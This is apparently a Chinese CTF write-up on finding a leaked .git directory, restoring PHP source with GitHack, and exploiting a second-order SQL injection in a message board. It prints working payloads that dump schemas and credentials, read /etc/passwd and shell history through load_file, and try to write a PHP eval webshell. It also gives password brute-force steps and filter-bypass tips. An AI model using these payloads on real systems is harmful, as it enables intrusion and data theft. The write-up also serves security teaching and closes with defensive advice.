从Git泄露到二次注入:一次完整的手工SQL注入实战剖析

📅 2026/7/13 3:30:27
从Git泄露到二次注入:一次完整的手工SQL注入实战剖析
1. 从“脚本小子”到“漏洞猎人”的思维转变很多刚入门安全的朋友包括几年前的我自己都经历过一个阶段拿到一个靶场或者CTF题目第一反应就是打开Burp Suite或者sqlmap把目标地址和参数往里一丢然后祈祷工具能自动跑出结果。成功了就欢呼失败了就换下一个。这其实就是典型的“脚本小子”思维——知其然而不知其所以然。工具成了黑盒我们只是在机械地执行操作一旦遇到稍微复杂点的场景比如代码做了过滤、WAF有防护或者像这次遇到的.git泄露这种需要先获取源码的场景就立刻束手无策了。我挖到的第一个真正有成就感的SQL注入漏洞恰恰不是靠sqlmap盲打出来的而是从一个看似不起眼的.git目录泄露开始通过代码审计亲手构造Payload拿下的。这个过程让我彻底明白工具只是手臂的延伸真正的大脑是你的分析能力和对漏洞原理的理解。今天我就把这个完整的实战过程拆开揉碎了讲给你听从发现.git泄露到使用GitHack还原源码再到代码审计发现二次注入漏洞最后成功利用。我希望你看完能明白摆脱“脚本小子”标签的关键不在于你会用多少工具而在于你是否愿意去理解每一个漏洞背后的“为什么”。2. 靶场环境与漏洞入口.git目录泄露这次实战的目标是一个常见的CTF风格的Web靶场。一上来常规的目录扫描是少不了的。我用的是dirsearch当然你用gobuster、ffuf都一样。命令很简单python3 dirsearch.py -u http://target-ip:port/ -e php,html,js,txt,git扫描结果里一个熟悉的目录赫然在列/.git/。看到这个老手心里基本就有谱了。.git是Git版本控制系统的元数据目录里面存放了项目的所有版本历史、分支、提交记录等。如果开发人员部署时不小心把这个目录也一起放到了Web服务器的根目录下攻击者就能直接访问从而可能下载到网站的完整源代码。注意直接访问http://target-ip:port/.git/大概率会返回403 Forbidden。这是正常的因为大多数Web服务器如Apache、Nginx会默认禁止访问以点开头的目录防止信息泄露。但这不代表漏洞不存在只是需要通过其他方式“间接”下载。为什么说.git泄露危险因为它可能包含网站源码这是最直接的有了源码白盒审计漏洞无处遁形。数据库配置文件里面可能有数据库IP、端口、用户名、密码。API密钥或令牌写在配置文件里的各种第三方服务密钥。历史提交记录可以看到开发人员修改了哪些敏感代码甚至可能找到被注释掉但未删除的测试接口、硬编码密码等。我们的入口点就是这个403的/.git/目录。2.1 利用GitHack工具还原源码既然不能直接访问我们就需要借助专门的工具。这里我选择的是GitHack。它是一个Python脚本专门用于利用.git泄露漏洞通过解析.git/index和objects目录下的文件重建出项目的文件历史。操作步骤如下克隆GitHack仓库git clone https://github.com/BugScanTeam/GitHack.git cd GitHack这个工具是Python2写的但现在用Python3也能运行可能需要稍作调整。不过我们更常用的是它的改进版或者类似原理的其他工具如dvcs-ripper、git-dumper但GitHack足够经典和直观。运行GitHack# 基本用法 python2 GitHack.py http://target-ip:port/.git/ # 如果你本地是Python3环境可以尝试 python3 GitHack.py http://target-ip:port/.git/如果执行报错很可能是Python2/3语法兼容问题。一个更稳妥的方法是使用git-dumperGo语言编写无需环境依赖git clone https://github.com/arthaud/git-dumper.git cd git-dumper pip install -r requirements.txt python git_dumper.py http://target-ip:port/.git/ ../output_folder获取结果 工具运行成功后会在当前目录或指定目录下生成一个以目标域名或IP命名的文件夹例如61.147.171.105_56303。进去一看网站的源代码文件应该都在里面了。实操心得不是所有的.git泄露都能完整还原。有时服务器可能配置了deny all或者.git目录本身不完整会导致工具只能恢复部分文件。这时候需要检查恢复出的文件特别是index文件是否被成功下载。如果核心的源码文件如index.php,config.php恢复了审计工作就可以开始了。3. 代码审计从源码中寻找漏洞点拿到源码后我习惯先快速浏览一下目录结构看看有没有明显的配置文件如config.php,db.php,.env然后重点看用户输入与数据库交互的地方。这次的目标是一个简单的留言板应用。核心文件有index.php: 主页展示留言。login.php: 登录页面。write_do.php: 处理留言和评论提交的逻辑。comment.php: 显示评论。我直接打开了最可能出问题的write_do.php。审计PHP代码我主要关注几个高风险函数执行SQL语句mysql_query(),mysqli_query(),PDO::query()未使用预处理语句时。用户输入获取$_GET,$_POST,$_REQUEST,$_COOKIE。过滤函数addslashes(),mysql_real_escape_string(),htmlspecialchars()。很快我在write_do.php中看到了这样的代码结构?php include mysql.php; session_start(); if($_SESSION[login] ! yes){ header(Location: ./login.php); die(); } if(isset($_GET[do])){ switch ($_GET[do]) { case write: $category addslashes($_POST[category]); $title addslashes($_POST[title]); $content addslashes($_POST[content]); $sql insert into board set category $category, title $title, content $content; $result mysql_query($sql); header(Location: ./index.php); break; case comment: // ... 评论处理逻辑 break; } } ?第一眼看上去开发者似乎有安全意识对$_POST过来的category,title,content都使用了addslashes()函数进行转义。addslashes()会在单引号、双引号、反斜杠\和NULL字符前加上反斜杠。这样如果用户输入test到SQL语句里就变成了test\单引号被转义无法闭合从而防止了SQL注入。但是这里真的安全了吗如果只看到这里就放弃那就错过了真正的漏洞。我继续往下看case comment部分的代码case comment: $bo_id addslashes($_POST[bo_id]); $sql select category from board where id$bo_id; $result mysql_query($sql); $num mysql_num_rows($result); if($num0){ // 关键点在这里 $category mysql_fetch_array($result)[category]; $content addslashes($_POST[content]); $sql insert into comment set category $category, content $content, bo_id $bo_id; $result mysql_query($sql); } header(Location: ./comment.php?id$bo_id); break;漏洞的轮廓出现了这就是典型的二次注入Second-Order SQL Injection。3.1 二次注入漏洞原理深度解析为什么叫“二次”因为攻击 payload 的注入和生效发生在两个不同的步骤和时机。第一次存储写入阶段在case write中用户提交留言。category字段虽然被addslashes()转义但转义后的数据例如test\被原样存储进了数据库的board表。注意数据库在存储时并不会存储那个用于转义的反斜杠\它存储的就是原始的用户输入test。addslashes()只是在构建SQL语句时防止了注入并没有改变最终存入数据库的值。第二次取出并执行读取/使用阶段在case comment中程序首先根据bo_id从board表中查询出对应的category。注意这里查询出的$category变量是从数据库里取出的、未经任何过滤的原始数据即我们第一步存入的test。然后程序直接将这个$category拼接进了新的INSERT语句中插入到comment表。这一次$category没有经过addslashes()处理漏洞链条就此形成攻击者在留言时在category字段输入恶意Payload1,content(select database()),/*addslashes()将其转义为1\,content(select database()),/*并安全地插入board表。数据库实际存储1,content(select database()),/*。攻击者随后对这条留言发表评论。程序从board表取出category值1,content(select database()),/*。程序将其直接拼接进新的SQL语句insert into comment set category 1,content(select database()),/*, content..., bo_id...这里的提前闭合了category的值后面的,content(select database()),/*成了SQL语句的一部分。/*注释掉了后面的内容使得content...被忽略。最终执行的SQL相当于insert into comment set category 1,content(select database())从而执行了我们注入的select database()语句。核心要点addslashes()、mysql_real_escape_string()这类函数防御的是“一次注入”即用户输入直接拼接到SQL语句时产生的即时注入。它们无法防御数据从数据库取出后再次被拼接到SQL语句中执行的“二次注入”。防御二次注入的根本方法是对所有外部输入包括从数据库取出的、可能由用户先前控制的数据在每一次拼接SQL前都进行严格的过滤或转义或者更推荐始终使用参数化查询Prepared Statements。4. 实战利用构造Payload与信息获取理解了原理利用就清晰了。我们需要先获得一个有效的会话Session因为代码开头检查了$_SESSION[login] yes。4.1 第一步获取登录权限观察登录页面发现表单提示用户名为zhangwei密码以zhangwei开头。这很可能是一个弱密码或者有规律的密码。我们可以尝试爆破。使用Burp Suite Intruder抓取登录请求包。发送到Intruder选择Sniper模式。将密码字段设为Payload位置。在Payloads标签页选择Brute forcer设置字符集为数字最小长度1最大长度4根据提示zhangwei***可能是3位数字。开始攻击观察响应包的长度或状态码不同的密码返回结果通常不同。很快我发现密码zhangwei666返回的响应长度与其他不同且登录后跳转到了首页说明爆破成功。手工尝试根据经验这种靶场常见的密码就是zhangwei123、zhangwei666、zhangwei888等手动试几下也可能成功。登录成功后我们就有了发表留言和评论的权限。4.2 第二步注入Payload构造与测试现在来到漏洞利用的核心环节构造一个能窃取信息的Payload。我们的目标是在发表留言时将恶意SQL代码通过category字段存入数据库然后在评论时触发这段代码执行。基础Payload结构分析我们需要让最终拼接的SQL语句语法正确且能执行我们想要的查询。原语句是insert into comment set category $category, content$content, bo_id$bo_id假设我们传入的$category为1,content(select 123),/*那么拼接后的语句变为insert into comment set category 1,content(select 123),/*, content$content, bo_id$bo_id解释1闭合了category字段的第一个单引号。,content(select 123),这是我们注入的SQL代码意在将(select 123)的结果写入content字段。注意这里故意写了一个不存在的字段content实际上数据库comment表里确实有content字段所以这是合法的。/*开始一个多行注释注释掉后面原本的, content$content, bo_id$bo_id避免语法错误。实操过程发表恶意留言访问留言页面在category输入框填入Payload1,content(select database()),/*title和content可以随便填比如test。提交后这条留言的category在数据库里就被存为了1,content(select database()),/*。触发漏洞找到刚才发表的那条留言点击“评论”。在评论内容框里输入任意内容比如trigger。提交评论。查看结果评论提交后页面会跳转到comment.php页面展示评论。如果漏洞存在我们注入的(select database())就会被执行其查询结果数据库名会替换掉我们正常输入的评论内容写入到数据库的content字段。刷新评论页面你应该会看到其中一条评论的内容不是trigger而是数据库名例如ctf。成功了我们通过二次注入实现了任意SQL语句执行。4.3 第三步信息收集与提权尝试拿到SQL注入点就像拿到了数据库的钥匙。我们可以系统地收集信息查询数据库版本、用户Payload:1,content(select version()),/*和1,content(select user()),/*查询所有数据库名Payload:1,content(select group_concat(schema_name) from information_schema.schemata),/*group_concat()函数将多行结果合并成一行方便查看。查询当前数据库的所有表Payload:1,content(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),/*返回了board, comment, user等表。查询关键表如user的字段Payload:1,content(select group_concat(column_name) from information_schema.columns where table_nameuser),/*返回了id,username,password等字段。查询用户数据Payload:1,content(select concat_ws(:,id,username,password) from user limit 1),/*concat_ws用冒号连接字段方便查看。这里可能得到管理员哈希。然而在这个靶场中user表里并没有存放flag。我们需要扩大搜索范围或者利用数据库的文件读写功能。4.4 第四步利用文件操作寻找FlagMySQL提供了load_file()函数读取服务器文件以及into outfile/into dumpfile写文件。但这需要数据库用户具备FILE权限。尝试读取系统文件Payload:1,content(select load_file(/etc/passwd)),/*如果成功会在评论内容里看到/etc/passwd文件的内容确认FILE权限存在。还可以尝试读取Web配置文件(/etc/apache2/sites-available/000-default.conf)、应用程序配置文件(config.php)等。尝试写入WebShell失败案例Payload:1,content(select ?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php),/*这个操作常常因为以下原因失败数据库用户无FILE权限。secure_file_priv系统变量限制了导出目录。Web目录不可写。关键词被WAF或简单过滤拦截。在我的测试中写入操作没有成功说明环境做了限制。转向信息收集寻找线索读取用户历史文件1,content(select load_file(/home/www/.bash_history)),/*这个文件记录了用户执行过的命令是宝藏。在这里我发现用户曾操作过/tmp/html/.DS_Store文件。.DS_Store是macOS系统在文件夹中自动生成的隐藏文件有时会包含敏感信息。尝试读取1,content(select load_file(/tmp/html/.DS_Store)),/*但返回可能是乱码或空白因为它是二进制文件。使用HEX函数处理二进制文件MySQL的hex()函数可以将二进制数据转换为十六进制字符串。Payload:1,content(select hex(load_file(/tmp/html/.DS_Store))),/*提交后我们得到了一长串十六进制字符串。将其复制出来。解码十六进制数据可以使用在线工具如CyberChef选择From Hex操作。也可以使用Python脚本import binascii hex_str 你得到的长串十六进制... try: # 去掉可能存在的空格或0x前缀 hex_str hex_str.strip().replace( , ).replace(0x, ) bytes_data binascii.unhexlify(hex_str) # 尝试不同编码 print(bytes_data.decode(utf-8, errorsignore)) # 或者直接写入文件用文本编辑器查看 with open(ds_store.bin, wb) as f: f.write(bytes_data) except Exception as e: print(f解码出错: {e})解码后在文件内容中搜索flag或php等关键词。我发现了类似flag_8946e1ff1ee3e40f.php的文件名线索。读取Flag文件根据发现的文件名构造Payload1,content(select load_file(/var/www/html/flag_8946e1ff1ee3e40f.php)),/*成功在返回的评论内容中看到了Flagflag{0dd14aae81d94904b3492117e2a3d4df}。5. 工具、技巧与深度防御思考5.1 必备工具链目录/文件扫描dirsearch,gobuster,ffuf。用于发现.git,.svn,.DS_Store, 备份文件(.bak,.swp)等。Git泄露利用GitHack(Python)git-dumper(Python/Go)dvcs-ripper(Perl)。各有优劣建议都准备着。代理与抓包Burp Suite Community/Professional。不可或缺用于拦截、重放、修改请求以及Intruder爆破。编码解码CyberChef(Web)。瑞士军刀处理Hex、Base64、编码转换、正则提取等极其方便。本地环境PHP MySQL环境。用于本地复现漏洞测试Payload避免在目标上盲目尝试。5.2 审计与利用中的关键技巧关注“数据流”不要只看一个点的过滤。追踪用户输入从哪里进来经过哪些处理最终到哪里去显示、存储、再次使用。二次注入就是数据流跟踪的经典案例。善用代码对比GitHack还原的不止是最新代码还有历史版本。使用git log查看提交历史用git diff commit1 commit2对比不同版本。开发者可能在历史版本中泄露了硬编码密码或者在新版本中“错误地”修复了漏洞有时会引入新问题。Payload构造要“贴合语境”思考最终的SQL语句形态。利用注释(--,#,/* */)、字符串拼接(||)来确保整个SQL语法正确。在UPDATE或INSERT语句中通过闭合前一个字段值插入新字段赋值再注释掉后续部分是一种常见手法。信息收集要全面除了information_schema还可以查version,datadir,basedir,secure_file_priv。了解数据库路径、数据目录、权限配置为下一步可能的文件读写或提权做准备。遇到过滤不要慌如果select、union等关键词被过滤尝试大小写混淆、双写、内联注释/*!select*/、编码等方式绕过。addslashes()通常只防单引号可以考虑数字型注入或者利用宽字节注入如果数据库编码为GBK等。5.3 从攻击者视角看防御经历过这次完整的攻击链我们再回头看防御理解会更深刻禁用不必要的目录列表和文件访问在Web服务器配置中严格限制对.git,.svn,.idea等版本控制目录的访问返回403或404。部署前清理构建和部署流程中应自动清除源代码目录中的版本控制文件、IDE配置文件、临时备份文件。使用参数化查询预编译语句这是防止SQL注入包括一次和二次注入最有效、最根本的方法。无论是PHP的PDO、MySQLi还是其他语言的ORM框架都应强制使用参数化查询。// 错误示范拼接 $sql INSERT INTO comment SET category $category; // 正确示范参数化查询使用PDO $stmt $pdo-prepare(INSERT INTO comment SET category ?); $stmt-execute([$category]);最小权限原则数据库连接用户只赋予其必要的最小权限。禁止授予FILE、PROCESS、SUPER等敏感权限。secure_file_priv应设置为空或特定安全目录。输入验证与输出编码输入验证在业务层面对输入数据的类型、长度、格式如category只能是数字ID进行严格校验。输出编码在将数据输出到前端时如显示评论使用htmlspecialchars()等函数进行HTML编码防止XSS。对“可信数据”也要保持警惕从数据库、缓存、Session中取出的数据如果其最初来源是用户输入在再次用于拼接SQL、命令执行或反序列化时必须重新进行校验或过滤。安全链条的强度取决于最弱的一环。代码审计与安全扫描在开发周期中引入代码安全审计人工或工具定期对线上代码进行漏洞扫描。.git泄露这类问题自动化工具很容易发现。挖到这个漏洞最大的收获不是那个Flag而是完整走通了一次“发现信息泄露 - 获取源码 - 静态审计 - 理解漏洞原理 - 动态构造Payload - 利用成功”的闭环。它让我摆脱了对自动化工具的依赖开始享受手动分析、逻辑推理和解决问题的乐趣。这才是安全研究真正的魅力所在。下次当你再看到一个.git目录时希望你能想起这篇文章不再只是用工具扫一下了事而是能亲手揭开它背后的秘密。